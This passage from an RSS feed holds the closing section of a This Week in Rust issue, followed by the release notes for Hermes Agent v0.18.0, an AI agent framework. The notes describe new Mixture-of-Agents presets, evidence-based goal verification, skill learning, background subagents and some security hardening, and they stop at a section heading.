<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>I <em>do</em> rather hope anyone using <code>-Zllvm-target-features</code> or any stabilized form thereof would know that they are getting a conversation with the dragon directly and they should mind their words carefully if they do not wish to be barbecued by it and served over a nice plate of iron filings.</p>
</blockquote>
<p>– <a href="https://rust-lang.zulipchat.com/#narrow/channel/233931-t-compiler.2Fmajor-changes/topic/Add.20.60-Zllvm-target-feature.60.20target.20.2Amodif.E2.80.A6.20compiler-team.23994/near/606147265">workingjubilee on rust zulip</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1784">Tomáš Šedovič</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1ul6xfl/this_week_in_rust_658/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.18.0 (2026.7.1) — The Judgment Release]]></title>
<description><![CDATA[Hermes Agent v0.18.0 (v2026.7.1)
Release Date: July 1, 2026
Since v0.17.0: ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · 949 issues closed · 370+ community contributors

The Judgment Release. Over the last week and a half the team put nearly all...]]></description>
<link>https://tsecurity.de/de/3639600/downloads/hermes-agent-v0180-202671-the-judgment-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639600/downloads/hermes-agent-v0180-202671-the-judgment-release/</guid>
<pubDate>Wed, 01 Jul 2026 22:16:35 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.18.0 (v2026.7.1)</h1>
<p><strong>Release Date:</strong> July 1, 2026<br>
<strong>Since v0.17.0:</strong> ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · <strong>949 issues closed</strong> · <strong>370+ community contributors</strong></p>
<blockquote>
<p><strong>The Judgment Release.</strong> Over the last week and a half the team put nearly all of its effort into one goal: resolve <strong>every P0 and P1 issue and PR in the entire Hermes Agent repo</strong> — and as of this release, <strong>100% of them are closed.</strong> Zero open P0s. Zero open P1s. That's <strong>~700 highest-priority items</strong> cleared as part of <strong>~1,950 total issues and PRs closed</strong> this window. We intend to keep P0/P1 at zero from here on.</p>
<p>On top of that clean-sweep, v0.18.0 is about how <em>well</em> Hermes thinks and how it <em>knows when its work is actually done</em>. Mixture-of-Agents became a first-class citizen — named ensembles of models you can pick like any other model, with every reference model's reasoning shown to you and the aggregator's answer streamed live. The agent learned to verify its own work against evidence instead of vibes, <code>/goal</code> gained completion contracts, and <code>/learn</code> + <code>/journey</code> turned self-improvement into something you can see and steer. Underneath, the gateway became genuinely deployable-at-scale (scale-to-zero, drain coordination), the desktop grew first-class coding projects and a playable memory graph, and subagents can now fan out in the background.</p>
</blockquote>
<h2>🎯 The P0/P1 Clean Sweep — 100% resolved</h2>
<p>This is the release headline. For a week and a half the team hammered the priority backlog day and night, and every single P0 and P1 across the whole repo is now closed:</p>
<table>
<thead>
<tr>
<th>Priority</th>
<th>Issues closed</th>
<th>PRs merged</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>P0</strong> (critical)</td>
<td>3</td>
<td>8</td>
</tr>
<tr>
<td><strong>P1</strong> (high)</td>
<td>493</td>
<td>188</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>496</strong></td>
<td><strong>196</strong></td>
</tr>
</tbody>
</table>
<p>That's <strong>~692 highest-priority items resolved</strong> in twelve days — and at the moment the sweep completed, the open P0/P1 count hit <strong>0 across the entire repo.</strong> The final cluster to fall was the interrupt-protected-compression sibling-fork bug (issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785584067" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/56391" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/56391/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/56391">#56391</a>) and its fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785996667" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/56416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56416/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/56416">#56416</a>), closed on an all-nighter right before this release cut.</p>
<p>Special shoutout to <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a></strong>, who burned through the priority backlog day and night alongside the core team — the cron reliability wave, the compression-fork fix, the credential-exfil hardening, and a huge share of the P1 closures are his.</p>
<p>We're keeping P0/P1 at <strong>0</strong> from here forward. 🫡</p>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Mixture-of-Agents is now a first-class model you can pick</strong> — MoA used to be a mode you toggled; now every named MoA preset shows up as a selectable model under a <code>moa</code> provider, right alongside Claude, GPT, and Grok in every model picker (CLI, TUI, desktop, gateway). Pick "my-council" the same way you'd pick any model, and Hermes routes your prompt through that ensemble automatically. An ensemble of frontier models deliberating on your hardest questions is now one selection away, on every surface. (<a href="https://github.com/NousResearch/hermes-agent/pull/46081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46081/hovercard">#46081</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53548" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53548/hovercard">#53548</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53561/hovercard">#53561</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>See every model's reasoning, then watch the answer stream in</strong> — When a MoA ensemble runs, each reference model's full output now renders as its own labelled block — you can read what GPT-5 thought, what Claude thought, and what Grok thought, before the aggregator synthesizes them into one answer. And that final answer now streams to you live instead of appearing all at once after a long silence. This works in the CLI, the TUI, and the desktop app. You get to watch the committee deliberate, not just read the verdict. (<a href="https://github.com/NousResearch/hermes-agent/pull/53793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53793/hovercard">#53793</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53855/hovercard">#53855</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55625/hovercard">#55625</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56101/hovercard">#56101</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The agent verifies its own work — "done" means proven, not claimed</strong> — Hermes now records verification evidence for coding work and can decide it's finished by actually running your project's checks, not by asserting success. <code>/goal</code> gained <strong>completion contracts</strong>: you state what "done" looks like, and the standing-goal loop judges completion against that evidence instead of stopping when the model feels like it. There's a <code>pre_verify</code> hook for wiring in custom checks and a one-time migration that tunes the defaults sensibly. The difference between "I think I fixed it" and "the tests pass, here's proof." (<a href="https://github.com/NousResearch/hermes-agent/pull/50501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50501/hovercard">#50501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52285/hovercard">#52285</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55413/hovercard">#55413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53552/hovercard">#53552</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong><code>/learn</code> — turn anything into a reusable skill by describing it</strong> — Run <code>/learn &lt;anything&gt;</code> and Hermes distills a reusable skill out of whatever you point it at — a directory, a URL, or just the workflow you walked it through five minutes ago. It writes the skill to the standards in your CONTRIBUTING.md automatically. The next time you need that workflow, it's already there. Teaching Hermes a new trick is now a single command, not a manual skill-authoring session. (<a href="https://github.com/NousResearch/hermes-agent/pull/51506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51506/hovercard">#51506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52372/hovercard">#52372</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong><code>/journey</code> — a playable timeline of everything Hermes has learned about you</strong> — The CLI and TUI gained <code>/journey</code>, a learning timeline that shows the memories and skills Hermes has accumulated over time — and you can edit or delete any of them right from the view. Pair it with the desktop's new <strong>memory graph</strong> (a top-down, playable radial timeline of memories and skills) and for the first time you can actually <em>see</em> what your agent knows, watch it grow, and prune what's wrong. Your agent's memory stops being a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/55555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55555/hovercard">#55555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55859/hovercard">#55859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55226/hovercard">#55226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Delegate a pile of work and keep going — background fan-out</strong> — <code>delegate_task</code> can now fan out multiple subagents that all run in the <strong>background</strong>: your chat is never blocked, and when every subagent finishes, their results come back as a single consolidated turn. Kick off "research these five competitors in parallel" or "audit these three modules," then carry on with something else while a small fleet works. When it's all done, you get one clean summary instead of babysitting each one. (<a href="https://github.com/NousResearch/hermes-agent/pull/49734" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49734/hovercard">#49734</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>First-class coding Projects in the desktop app</strong> — The desktop app gained real, per-profile <strong>Projects</strong> — a sidebar of your codebases, a coding rail, a review pane, git worktree management, and agent-facing project tools, all backed by a proper <code>project → repo → lane</code> model. Instead of scattered chat sessions, your coding work is organized into projects the agent understands and can act on. It's the desktop turning into an actual coding cockpit. (<a href="https://github.com/NousResearch/hermes-agent/pull/49037" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49037/hovercard">#49037</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54385" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54385/hovercard">#54385</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54517" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54517/hovercard">#54517</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Run Hermes at scale — scale-to-zero and drain coordination</strong> — The gateway can now go <strong>dormant when idle</strong> and quiesce cleanly before a restart, migration, or auto-update — without dropping in-flight conversations. A hosted or relay-only Hermes can scale to zero when nobody's talking to it and wake back up on demand, and disruptive lifecycle actions coordinate an external drain so nobody gets cut off mid-turn. Running Hermes for a team or as a hosted service just got a lot more production-grade. (<a href="https://github.com/NousResearch/hermes-agent/pull/52243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52243/hovercard">#52243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52937" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52937/hovercard">#52937</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54824/hovercard">#54824</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
<li>
<p><strong>Cheaper self-improvement — smarter background review</strong> — The post-turn self-improvement fork (the one that decides whether to save a memory or skill) now routes to an auxiliary model, digests context instead of replaying the whole conversation, and adapts its cadence — so the "learn from what just happened" loop that runs after your turns costs a fraction of what it used to. You keep the self-improvement, you stop paying full main-model price for it. (<a href="https://github.com/NousResearch/hermes-agent/pull/49252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49252/hovercard">#49252</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Compose your next prompt in your editor — <code>/prompt</code></strong> — <code>/prompt</code> opens your <code>$EDITOR</code> so you can hand-write a long, multi-line prompt in real markdown instead of fighting a one-line input box. Draft a detailed spec, a structured question, or a big paste, save, and it's queued as your next message. Small thing, huge quality-of-life win for anyone who writes Hermes more than a sentence at a time. (<a href="https://github.com/NousResearch/hermes-agent/pull/50509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50509/hovercard">#50509</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Google Vertex AI — Gemini through your GCP service account, no static key</strong> — Vertex AI is now a first-class provider for Gemini models over Vertex's OpenAI-compatible endpoint. The reason a plain custom-provider setup always died mid-session is that Vertex has no static API key — every request needs a short-lived OAuth2 access token (~1h TTL) minted from a service-account JSON or Application Default Credentials. Hermes now mints and auto-refreshes those tokens for you, so if your org runs Gemini through Google Cloud, you point Hermes at your service account and it just works — no token-pasting, no mid-session expiry. (<a href="https://github.com/NousResearch/hermes-agent/pull/56363" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56363/hovercard">#56363</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a>)</p>
</li>
<li>
<p><strong>Security round</strong> — This window hardened several surfaces: MCP-config persistence attack surface locked down, cron <code>base_url</code> overrides that could exfiltrate provider credentials blocked, a non-reusable sentinel for prefix secrets in file reads, Slack app-level (<code>xapp-</code>) token redaction, a browser cloud-metadata floor enforced on every backend, and an <code>aiohttp</code> CVE floor across the lazy messaging paths. Fewer ways for a prompt-injected or misconfigured session to leak a credential. (<a href="https://github.com/NousResearch/hermes-agent/pull/50476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50476/hovercard">#50476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56196" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56196/hovercard">#56196</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54166/hovercard">#54166</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56227/hovercard">#56227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52349/hovercard">#52349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56237/hovercard">#56237</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>)</p>
</li>
</ul>
<hr>
<h2>🧠 Mixture-of-Agents (MoA)</h2>
<p>MoA graduated from a mode to a first-class part of the model system this window.</p>
<ul>
<li><strong>Presets as selectable virtual models</strong> — each named MoA preset appears as a model under provider <code>moa</code>; pick it in any model picker and Hermes routes through the ensemble (<a href="https://github.com/NousResearch/hermes-agent/pull/46081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46081/hovercard">#46081</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53561/hovercard">#53561</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53775/hovercard">#53775</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/moa</code> is now one-shot sugar</strong> — runs a single prompt through the default preset and restores your model afterward; persistent switching goes through the model picker (<a href="https://github.com/NousResearch/hermes-agent/pull/53548" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53548/hovercard">#53548</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Reference-model output shown as labelled blocks</strong> in CLI, TUI, and desktop — read each model's reasoning before the aggregator's synthesis (<a href="https://github.com/NousResearch/hermes-agent/pull/53793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53793/hovercard">#53793</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53855/hovercard">#53855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Aggregator response streams live</strong> instead of appearing whole after a silence (<a href="https://github.com/NousResearch/hermes-agent/pull/55625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55625/hovercard">#55625</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>References see full tool state and fire on every user/tool response</strong>; advisory references end on a user turn and get a reference-role system prompt (<a href="https://github.com/NousResearch/hermes-agent/pull/54016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54016/hovercard">#54016</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54007/hovercard">#54007</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Opt-in full-turn trace persistence to JSONL</strong> (<code>moa.save_traces</code>) for debugging and eval (<a href="https://github.com/NousResearch/hermes-agent/pull/56101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56101/hovercard">#56101</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Reliability: reference + aggregator models called through their provider's real route; context window resolved from the aggregator (not the 256K default); auxiliary tasks resolve to the aggregator; virtual provider blocked as a reference/aggregator slot; tolerant of hand-edited preset config (<a href="https://github.com/NousResearch/hermes-agent/pull/53580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53580/hovercard">#53580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53780" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53780/hovercard">#53780</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53827" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53827/hovercard">#53827</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53281" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53281/hovercard">#53281</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53275/hovercard">#53275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53556" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53556/hovercard">#53556</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA slot provider-identity unified on the single <code>call_llm</code> chokepoint; HermesBench results documented (<a href="https://github.com/NousResearch/hermes-agent/pull/55991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55991/hovercard">#55991</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53206/hovercard">#53206</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>✅ Verification &amp; Goals — the agent proves its work</h2>
<ul>
<li><strong>Completion contracts for <code>/goal</code></strong> — state what "done" looks like; the standing-goal loop judges against evidence, not the model's say-so (<a href="https://github.com/NousResearch/hermes-agent/pull/50501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50501/hovercard">#50501</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/goal wait &lt;pid&gt;</code></strong> — park the standing-goal loop on a background process instead of re-poking the agent (<a href="https://github.com/NousResearch/hermes-agent/pull/50503" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50503/hovercard">#50503</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Coding verification evidence ledger</strong> — profile-scoped record of canonical project checks detected by <code>agent.coding_context</code>; gateway exposes verification status (<a href="https://github.com/NousResearch/hermes-agent/pull/52285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52285/hovercard">#52285</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52286/hovercard">#52286</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong><code>pre_verify</code> hook + coding guidance config</strong>; verification stop loop + ad-hoc verification scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/55413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55413/hovercard">#55413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52296" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52296/hovercard">#52296</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52297" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52297/hovercard">#52297</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>verify-on-stop defaults OFF</strong> with a one-time v32 migration; skips doc-only edits; surface-aware "auto" default restored; gated off for messaging surfaces (<a href="https://github.com/NousResearch/hermes-agent/pull/53552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53552/hovercard">#53552</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54740" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54740/hovercard">#54740</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55449/hovercard">#55449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52412" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52412/hovercard">#52412</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>)</li>
</ul>
<h2>🎓 Self-Improvement (Learn / Journey)</h2>
<ul>
